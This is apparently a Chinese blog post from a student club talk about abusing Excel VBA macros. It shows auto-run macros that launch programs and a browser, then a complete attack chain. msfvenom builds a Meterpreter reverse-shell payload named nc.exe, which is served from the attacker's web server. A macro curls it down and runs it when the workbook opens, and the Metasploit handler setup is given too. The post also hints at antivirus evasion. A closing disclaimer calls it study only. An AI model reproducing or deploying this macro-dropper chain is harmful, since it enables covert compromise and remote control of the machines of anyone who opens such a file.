讲在前面

很久没有更新啦,自从12月新冠开始再加上过年和开学考试再加上亿点点的划水,不知不觉就过去这么久了。那么今天刚好开完了社团的分享会,也一起在这里更新一下内容,也算是作为这次分享的记录了。


什么是宏?

Office宏,译自英文单词Macro。宏是Office自带的一种高级脚本特性,通过VBA代码,可以在Office中去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。

Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件,也可说是一种应用程式视觉化的Basic 脚本。

如何利用?

我们创建一个启用宏的excel表格,例如值日名单.xlsm

点击视图--查看宏,在这里创建一个AutoOpen

1.弹出计算器

在弹出的VBA中,修改为如下代码,点击运行,即可弹出计算器。

1
2
3
4
5
6
7
Sub AutoOpen()
LaunchCalculator
End Sub

Sub LaunchCalculator()
Shell "calc"
End Sub

原理其实就是在shell中输入calc,启动计算器。

启动Excel时自动执行

在左侧ThisWorkbook中添加如下代码:

1
2
3
Private Sub Workbook_Open()
Call AutoOpen
End Sub

可以令excel在启动时自动运行AutoOpen

2.浏览器全屏访问指定网页

以火狐浏览器为例:

代码如下,其中

firefoxPath是指火狐浏览器的安装路径。

websiteURL是指要打开的网页。

--kiosk是指定浏览器全屏模式启动,也可以修改为-url以普通模式启动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Sub AutoOpen()
OpenWeb
End Sub

Sub OpenWeb()
Dim firefoxPath As String
Dim websiteURL As String

firefoxPath = "C:\Program Files\Mozilla Firefox\firefox.exe"
websiteURL = "https://anineg.space/"


Call Shell(firefoxPath & " --kiosk " & websiteURL, vbNormalFocus)
End Sub

3.利用反弹shell控制

在KALI(IP:192.168.80.128) 中生成nc.exe,具体过程不再详细叙述,给出命令行如下:

1
2
3
4
5
6
7
8
9
cd /var/www/html

msfconsole

use windows/x64/meterpreter_reverse_tcp

show options

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.80.128 lport=4444 -f exe -o nc.exe

现在在/var/www/html路径下有nc.exe文件,我们需要它能够在Windows上被下载,所以我们启动web服务:

1
systemctl start apache2.service

如果此时在Windows浏览器中打开:http://192.168.80.128/nc.exe ,文件就可以被下载了。

回到Excel中,修改代码如下:

原理同上,就是使用curl帮我们下载文件,然后在cmd中直接运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Sub AutoOpen()
Downloadandopen
End Sub

Sub Downloadandopen()
Dim curlPath As String
Dim fileURL As String
Dim downloadedFilePath As String
Dim command As String

curlPath = "C:\Windows\System32\curl.exe"
fileURL = "http://192.168.80.128/nc.exe"
downloadedFilePath = "C:\Users\Administrator\Desktop\nc.exe"

command = curlPath & " -o " & downloadedFilePath & " " & fileURL
Call Shell(command, vbNormalFocus)

Call Shell(downloadedFilePath, vbNormalFocus)
End Sub

与此同时,在KALI上需要开启监听:

1
2
3
4
5
6
7
8
9
msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter_reverse_tcp

set lhost 192.168.80.128

exploit

这样,当Excel表格在启动时就会自动连接至攻击机,渗透完成。

当然,对nc.exe做一下免杀效果会更好,如果以后有机会我会在这里继续更新一下,


本测试仅作学习原理探究,严禁去做违法的事情!